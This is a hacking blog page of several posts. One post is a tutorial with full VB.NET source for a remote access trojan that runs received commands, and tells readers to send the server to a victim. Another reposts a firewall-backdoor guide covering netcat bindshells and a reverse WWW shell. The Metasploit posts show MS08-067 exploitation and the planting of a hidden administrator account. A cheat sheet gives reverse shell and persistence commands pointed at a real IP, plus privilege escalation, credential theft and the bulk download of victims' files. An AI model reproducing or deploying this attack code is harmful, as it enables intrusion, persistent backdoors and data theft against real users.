Showing posts with label Reverse shell. Show all posts
Showing posts with label Reverse shell. Show all posts

Tuesday, February 4, 2014

A very basic tutorial of creating a RAT

First of all, a RAT is a computer program that allows you to remotely access the computer running a server file,the RAT consists of 2 programs a client and a server.you run the client which connects to a port on a remote ip running the server

RAT stands for (Remote Access Trojan/Tool)

the server is set to listen on a specific port,high numbers such as 16995 and other 5 digit
numbers are best so the port is not easily recognized by certain computer applications its also best to stay away from 12345 and 54321 etc.

But now that you under stand the basics(hopefully), this is what you need to do to create and program your own.

Server:


1.Create a new windows application
name it "server"
double click the form to edit the code
at the top of the code file put

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

all this does is allow easy access to certain commands,for example system.io allows access to file commands

file.open(path)
compared to
System.IO.File.Open(Path)

So now we need to create a listening socket which opens a port on the host computer with this.
place this in the form1_class code before form1_load

Dim port As Integer = 6969
Dim tcpc As New TcpListener(port)

now a new tcp client

Dim port As Integer = 6969
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)



Now we need a function that allows us to enable listing on the port when it is called,place this below the code you just wrote

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub

It creates a function to call which tries to allow the listener to start listening and when the client tries to connect it accepts it and if it fails it just retries again.

Now the complicated part. 
Now we need to create a network stream that allows us to send and receive data from the client and place it in a function.

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub

This script is actually quite simple, if the listener is connected to a socket it redirects the connection to a socket in the server and if the server socket is connected it tries to receive the sockets data stream.
It then defines "bit" as a byte readable by the server data stream and gets its total size, it then tells the socket to read the incoming data,once it is all received it creates a string used to receive string data sent by the client.
It then defines a string array that splits string data received and the id sent so the server knows what command to execute determined by the if statement.

This next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

So now all we need to do is tell the program to run these functions in the form1_load command that is already present,in that sub form put this code:

While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While

While True
check()
End While
Me.Hide()

This allows the server to start listening and once it has found a connection it runs the check() function to preform the actions that allows the socket to read the data then hides the form for added security.



Client:


Create a new windows application in vb.net and on the form place 3 text boxes and 2 buttons and 3 labels and set them up like this.


Button 1 = "Connect"
Button 2 = "Send"
Label 1 = "IP"
Label 2 = "Port"
Label 3 = "URL"

Now lets write the code of client. Double click on form and put the following code on the top.

Imports System.Net
Imports System.Net.Sockets

now in the class code put


Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6969


Like before this defines a tcp client to connect to the server, it creates a non-text variable for the ip address for the socket to connect to, for some reason microsoft doesn't allow you to use a string with the socket.connect() command do all this does is turn a string into an ip address then it defines a variable called port with the value 6969 which can be changed.


now the fun stuff (sarcasm)

below all your variable definitions place the code

Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub

this creates a function named connect() when it is called it sets the value of "ip" to what you have written in textbox 1 and then port is set to what you have in textbox 2

now with these 2 values the socket naked sock trys to connect to the ip and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated ip at this time" feel free to change that to w/e you may like.Now we need a function to be called when we want to send data to the connected socket.

Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub

so now when you call dat() you need a string in the () to be sent
but well worry about that later,it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server,then the data stream sends the string.Now go back to the design of form 1 where you inserted the textboxes and stuff then double click button1 and in between the brackets of the button1_click put this code

connect()

this calls the function connect() which allows the socket to try and connect to the designated port/ip

now do the same thing to button 2,and for the button2_click put

dat("0*" + TextBox3.Text)

this calls the dat() function and attaches the string "0*" which is the id of the string being sent to the server plus the text in textbox 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a webpage you want opened like "http://www.kislaybhardwaj.com" without the quotes of coarse
so the string sent would look like this

0*http://www.kislaybhardwaj.com


The * is needed to separate the string once it is decoded in the server,so if you want to send more than the id and 1 string you need to separate them with *
like this

dat("0*" + TextBox3.Text + "*" + TextBox4.Text)

this would do nothing as there is no textbox 4 because this is only an example,and since there is no textbox 4 an error would be generated,but that is how you would do it

now that's basically it,this is basically it for the client.this script is very versatile as dat() can be called on any button press/keypress ect... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another textbox like this

dat("1*" + TextBox4.Text)

which just send the text with a new id to the server,but you must modify the server to recognize that id aswell

so to do that the code

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 1 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

Catch ex As Exception
check()
End Try
End If
End Sub

should now be

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If

Catch ex As Exception
check()
End Try
End If
End Sub

this has been added

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If


so if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made textbox 3 say in your client

So now you should save and build both the server and the client becuse your ready to go,this is all my code hand written and thought of by me so there shouldent be another methood like this.

NOW to use this application,send the server to sombody and once they have opned it,it should start listning on the port defined in the server,which is 6969 but can be changed,so once you have sombody running the server you need there ip,look on the web for tutorials on how to find an ip through email,aim,msn,or even message boards.

NOW I'M PUTTING THE WHOLE CODE:

Server:

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim port As Integer = 6969
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String

    Private Sub listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception
        End Try

    End Sub

    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    Process.Start(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load


        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception
            End Try
        End While

        While True
            check()
        End While
        Me.Hide()
    End Sub
End Class

__________________________________________________________

Client:

Imports System.Net
Imports System.Net.Sockets
Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6969
    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = TextBox2.Text
        Try
            sock.Connect(ip, port)

        Catch ex As Exception
            MsgBox("Can not connect to designated ip at this time")
        End Try
    End Sub

    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        connect()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        dat("0*" + TextBox3.Text)
    End Sub
  
End Class


DO NOT FORGET TO BUILD THE PROJECT. :p


Thursday, February 9, 2012

Placing Backdoors through Firewalls.

As I was unable to update my site for long time, I am hospitalized due to some serious internal injuries.
But still I got the permission (from Doc) of research and re-applying the methods of experts like THC.
Today I have something very interesting topic for you guys, I have done many new things as I have enough time on the bed.... :P.
OK, so let's talk about today's article, which is originally posted by Van Hauser (THC), I'm just spreading the words.

So let's begin:


----[ Introduction

This article describes possible backdoors through different firewall architectures. However, the material can also be applied to other environments to describe how hackers (you?) cover their access to a system.

Hackers often want to retain access to systems they have penetrated even in the face of obstacles such as new firewalls and patched vulnerabilities. To accomplish this the attackers must install a backdoor which a) does it's job and b) is not easily detectable. The kind of backdoor needed depends on the firewall architecture used.

As a gimmick and proof-of-concept, a nice backdoor for any kind of intrusion is included, so have fun.




----[ Firewall Architectures

There are two basic firewall architectures and each has an enhanced version.

Packet Filters:

This is a host or router which checks each packet against an allow/deny ruletable before routing it through the correct interface. There are very simple ones which can only filter from the origin host, destination host and destination port, as well as good ones which can also decide based on incoming interface, source port, day/time and some tcp or ip flags.
This could be a simple router, f.e. any Cisco, or a Linux machine with firewalling activated (ipfwadm).

Stateful Filters:

This is the enhanced version of a packet filter. It still does the same checking against a rule table and only routes if permitted, but it also keeps track of the state information such as TCP sequence numbers. Some pay attention to application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which were specified in a permitted ftp session. These filters can (more or less) get UDP packets (f.e. for DNS and RPC) securely through the firewall. (Thats because UDP is a stateless protocol. And it's more difficult for RPC services.)
This could be a great OpenBSD machine with the ip-filter software, a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1.
Proxies / Circuit Level Gateways:

A proxy as a firewall host is simply any server which has no routing activated and instead has proxy software installe.
Examples of proxy servers which may be used are squid for WWW, a sendmail relay configuration and/or just a sockd.

Application Gateways:

This is the enhanced version of a proxy. Like a proxy, for every application which should get through the firewall a software must be installed and running to proxy it. However, the application gateway is smart and checks every request and answer, f.e. that an outgoing ftp only may download data but not upload any, and that the data has got no virus, no buffer overflows are generated in answers etc. One can argue that squid is an application gateway, because it does many sanity checks and let you filter stuff but it was not programmed for the installation in a secure environment and still has/had security bugs.
A good example for a freeware kit for this kind is the TIS firewall toolkit (fwtk).

Most firewalls that vendors sell on the market are hybrid firwalls, which means they've got more than just one type implemented; for example the IBM Firewall is a simple packet filter with socks and a few proxies. I won't discuss which firewall product is the best, because this is not a how-to-by-a-firewall paper, but I will say this: application gateways are by far the most secure firewalls, although money, speed, special protocols, open network policies, stupidity, marketing hype and bad management might rule them out.


----[ Getting in

Before we talk about what backdoors are the best for which firewall architecture we should shed a light on how to get through a firewall the first time. Note that getting through a firewall is not a plug-n-play thing for script-kiddies, this has to be carefully planned and done.

The four main possibilities:

Insider:

There's someone inside the company (you, girl/boy-friend, chummer) who installs the backdoor. This is the easiest way of course.

Vulnerable Services:

Nearly all networks offer some kind of services, such as incoming email, WWW, or DNS. These may be on the firewall host itself, a host in the DMZ (here: the zone in front of the firewall, often not protected by a firewall) or on an internal machine. If an attacker can find a hole in one of those services, he's got good chances to get in. You'd laugh if you'd see how many "firewalls" run sendmail for mail relaying ...

Vulnerable External Server:

People behind a firewall sometimes work on external machines. If an attacker can hack these, he can cause serious mischief such as the many X attacks if the victim uses it via an X-relay or sshd. The attacker could also send fake ftp answers to overflow a buffer in the ftp client software, replace a gif picture on a web server with one which crashs netscape and executes a command (I never checked if this actually works, it crashs, yeah, but I didn't look through this if this is really an exploitable overflow). There are many possibilities with this but it needs some knowledge about the company. However, an external web server of the company is usually a good start. Some firewalls are configured to allow incoming telnet from some machines, so anyone can sniff these and get it. This is particulary true for the US, where academic environments and industry/military work close together.

Hijacking Connections:

Many companies think that if they allow incoming telnet with some kind of secure authentication like SecureID (secure algo?, he) they are safe. Anyone can hijack these after the authentication and get in ... Another way of using hijacked connections is to modify replies in the protocol implementation to generate a buffer overflow (f.e. with X).

Trojans:

Many things can be done with a trojan horse. This could be a gzip file which generates a buffer overflow (well, needs an old gzip to be installed), a tar file which tampers f.e. ~/.logout to execute something, or an executable or source code which was modified to get the hacker in somehow. To get someone running this, mail spoofing could be used or replacing originals on an external server which internal employees access to update their software regulary (ftp xfer files and www logs can be checked to get to know which files these are).



----[ Placing the Backdoors

An intelligent hacker will not try to put the backdoors on machines in the firewall segment, because these machines are usually monitored and checked regulary. It's the internal machines which are usually unprotected and without much administration and security checks.

I will now talk about some ideas of backdoors which could be implemented. Note that programs which will/would run on an stateful filter will of course work with a normal packet filter too, same for the proxy. Ideas for an application gateway backdoor will work for any architecture.
Some of them are "active" and others "passive". "Active" backdoors are those which can be used by a hacker anytime he wishes, a "passive" one triggers itself by time/event so an attacker has to wait for this to happen.

Packet Filters:

It's hard to find a backdoor which gets through this one but does not work for any other. The few ones which comes into my mind
is a) the ack-telnet. It works like a normal telnet/telnetd except it does not work with the normal tcp handshake/protocol but uses TCP ACK packets only. Because they look like they belong to an already established (and allowed) connection, they are permitted. This can be easily coded with the spoofit.h of Coder's Spoofit project (http://reptile.rug.ac.be/~coder).
b) Loki from Phrack 49/51 could be used too to establish a tunnel with icmp echo/reply packets. But some coding would be needed to to be done.
c) daemonshell-udp is a backdoor shell via UDP
(http://www.thc.org look for thc-uht1.tgz)
d) Last but not least, most "firewall systems" with only a screening router/firewall let any incoming tcp connection from the source port 20 to a highport (>1023) through to allow the (non-passive) ftp protocol to work. "netcat -p 20 target port-of-bindshell" is the fastest solution for this one.

Stateful Filters:

Here a hacker must use programs which initiates the connection from the secure network to his external 0wned server. There are many out there which could be used:

active:
tunnel from Phrack 52.
ssh with the -R option (much better than tunnel ... it's a legtimitate program on a computer and it encrypts the datastream).

passive:
netcat compiled with the execute option and run with a time option to connect to the hacker machine (ftp.avian.org).
reverse_shell from the thc-uht1.tgz package (see above) does the same.

Proxies / Circuit Level Gateways:

If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them. (www.socks.nec.com) For more advanced tools you'd should take a look at the application gateway section.

Application Gateways:

Now we get down to the interesting stuff. These beasts can be intelligent so some brain is needed.
active:
(re-)placing a cgi-script on the webserver of the company, which allows remote access. This is unlikely because it's rare that the webserver is in the network, not monitored/ checked/audited and accessible from the internet. I hope nobody needs an example on such a thing ;-)
(re-placing) a service/binary on the firewall. This is dangerous because those are audited regulary and sometimes even sniffed on permanent ...
Loading a loadable module into the firewall kernel wich hides itself and gives access to it's master. The best solution for an active backdoor but still dangerous.
passive:
E@mail - an email account/mailer/reader is configured in a way to extract hidden commands in an email (X-Headers with weird stuff) and send them back with output if wanted/needed.
WWW - this is hard stuff. A daemon on an internal machine does http requests to the internet, but the requests are in real the answers of commands which were issued by a rogue www server in a http reply. This nice and easy beast is presented below (->Backdoor Example: The Reverse WWW Shell)
DNS - same concept as above but with dns queries and replies. Disadvantage is that it can not carry much data. (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this example needs still much coding to be any effective)



----[ Backdoor Example: The Reverse WWW Shell

This backdoor should work through any firewall which has got the security policy to allow users to surf the WWW (World Wide Waste) for information for the sake and profit of the company.
For a better understanding take a look at the following picture and try to remember it onwards in the text:

+--------+                             +------------+                     +-------------+
 |internal|--------------------|   FIREWALL  |--------------|server owned |
 |  host   |  internal network     +------------+        internet    |by the hacker|
+--------+                                                                        +-------------+
   SLAVE                                                        MASTER

Well, a program is run on the internal host, which spawns a child every day at a special time. For the firewall, this child acts like a user, using his netscape client to surf on the internet. In reality, this child executes a local shell and connects to the www server owned by the hacker on the internet via a legitimate looking http request and sends it ready signal. The legitimate looking answer of the www server owned by the hacker are in reality the commands the child will execute on it's machine it the local shell. All traffic will be converted (I'll not call this "encrypted", I'm not Micro$oft) in a Base64 like structure and given as a value for a cgi-string to prevent caching.
Example of a connection:

Slave
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0

Master replies with
g5mAlfbknz
The GET of the internal host (SLAVE) is just the command prompt of the shell, the answer is an encoded "ls" command from the hacker on the external server (MASTER). Some gimmicks:

The SLAVE tries to connect daily at a specified time to the MASTER if wanted; the child is spawned because if the shell hangs for whatever reason you can check & fix the next day; if an administrator sees connects to the hacker's server and connects to it himself he will just see a broken webserver because there's a Token (Password) in the encoded cgi GET request; WWW Proxies (f.e. squid) are supported; program masks it's name in the process listing ...

Best of all: master & slave program are just one 260-lines perl file ... Usage is simple: edit rwwwshell.pl for the correct values, execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl" on the MASTER just before it's time that the slave tries to connect.

Well, why coding it in perl? a) it was very fast to code, b) it's highly portable and c) I like it. If you want to use it on a system which hasn't got perl installed, search for a similar machine with perl install, get the a3 compiler from the perl CPAN archives and compile it to a binary. Transfer this to your target machine and run that one.



----[ The Source

Grab it here ...

rwwwshell v2.0



----[ Security

Now it's an interesting question how to secure a firewall to deny/detect this. It should be clear that you need a tight application gateway firewall with a strict policy. email should be put on a centralized mail server, and DNS resolving only done on the WWW/FTP proxies and access to WWW only prior proxy authentication. However, this is not enough. An attacker can tamper the mailreader to execute the commands extracted from the crypted X-Headers or implement the http authentication into the reverse www-shell (it's simple). Also checking the DNS and WWW logs/caches regulary with good tools can be defeated by switching the external servers every 3-20 calls or use aliases.

A secure solution would be to set up a second network which is connected to the internet, and the real one kept seperated - but tell this the employees ... A good firewall is a big improvement, and also an Intrusion Detection Systems can help. But nothing can stop a dedicated attacker.

Thursday, January 5, 2012

Metasploit~ Nessus Scanning through a Metasploit Meterpreter Session


This tutorial is successful after installation of SSH on victim's system. Go to Step 1.

Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of

the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you

meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.

The Players
Attacker 192.168.1.3
Victim 192.168.1.9

Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. See this for instructions.

Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the

victim's machine. For example:

meterpreter> portfwd add -L 192.168.1.3 -l 8000 -r 192.168.1.9 -p 22

This command sets up a listener on port 8000 of the attacker's IP (192.168.1.3) and forwards packets to port 22 on the victim's machine (192.168.1.9).


Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:

# ssh -D 127.0.0.1:9000 -p 8000 username@192.168.1.3

This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.

Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of

/etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:

# proxychains /usr/sbin/nessusd -D

Step 5 - Start the nessus client and do you scan.

Metasploit~Preparing for a custom command line OpenSSH Installation


Preparing for a custom command line OpenSSH Installation in your lab

The basic steps to prepare a command line OpenSSH installation for Windows are as follows:

1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download

2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH

3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.

4. Export the following registry keys using the REG EXPORT command as follows:

REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG

5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG

6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.


Performing an installation via command shell

Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.

Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.


Exploiting the Vulnerability

[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole

msf > search exploits ms08_067[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options

... truncated output ...
Exploit target:

Id Name
-- ----
5 Windows 2003 SP0 Universal


msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Triggering the vulnerability...[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)

meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).


Uploading your OpenSSH Files

meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .[*] uploading : ./uninstall.exe -> .\uninstall.exe[*] uploaded : ./uninstall.exe -> .\uninstall.exe[*] mirroring : ./bin -> .\bin[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe[*] uploading : ./bin/chown.exe -> .\bin\chown.exe[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....

meterpreter > execute -f cmd.exe .i
Process 848 created.
Channel 66 created.



Modifying the Registry and Adding Your Own Username

Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.


Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system

C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.

C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.


C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.


C:\Program Files\openssh>cd etc
cd etc

C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group

C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS



Start the OpenSSH Service

C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :

C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24

The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**

**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.

C:\Program Files\openssh\etc>exit
exit
meterpreter > quit
[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit





Now, lets go ahead and SSH into our Windows server to check if things worked!


root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.

OpenSSH for Windows. Welcome aboard!

inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned

C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#

Cleaning up

To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.

C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va

C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE

Metasploit Cheatsheet

During last 30 months I've been working on Metasploit and I can proudly say that I am able to make this Cheat sheet of Metasploit. I just wrote the commands only --No Explanation-- sorry for this, but I just want to help LEARNERS, NOT LAMERS. So here are the commands:


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST rmccurdy.com
set LPORT 21
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

exploit -j -z

____________________________________________________________________

# file_autopwn
rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressR...s/nga10_02.pdf

./msfconsole

db_driver sqlite3
db_create pentest11
setg LHOST 75.139.158.51
setg LPORT 21
setg SRVPORT 21
setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf


use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
run

________________________________________________________________________

# shows all the scripts
run [tab]

________________________________________________________________________

# persistence! broken ...if you use DNS name ..
run persistence -r 75.139.158.51 -p 21 -A -X -i 30

________________________________________________________________________

run get_pidgin_creds

idletime
sysinfo

________________________________________________________________________

# SYSTEM SHELL ( pick a proc that is run by system )
migrate 376
shell

________________________________________________________________________

# session hijack tokens
use incognito
impersonate_token "NT AUTHORITY\\SYSTEM"

________________________________________________________________________

# escalate to system
use priv
getsystem

________________________________________________________________________

execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t

________________________________________________________________________

# list top used apps
run prefetchtool -x 20
________________________________________________________________________
# list installed apps
run prefetchtool -p
________________________________________________________________________
run get_local_subnets
________________________________________________________________________
# find and download files
run search_dwld "%USERPROFILE%\\my documents" passwd
run search_dwld "%USERPROFILE%\\desktop passwd
run search_dwld "%USERPROFILE%\\my documents" office
run search_dwld "%USERPROFILE%\\desktop" office
________________________________________________________________________
# alternate
download -r "%USERPROFILE%\\desktop" ~/
download -r "%USERPROFILE%\\my documents" ~/
________________________________________________________________________
# alternate to shell not SYSTEM
# execute -f cmd.exe -H -c -i -t
________________________________________________________________________

# does some run wmic commands etc
run winenum
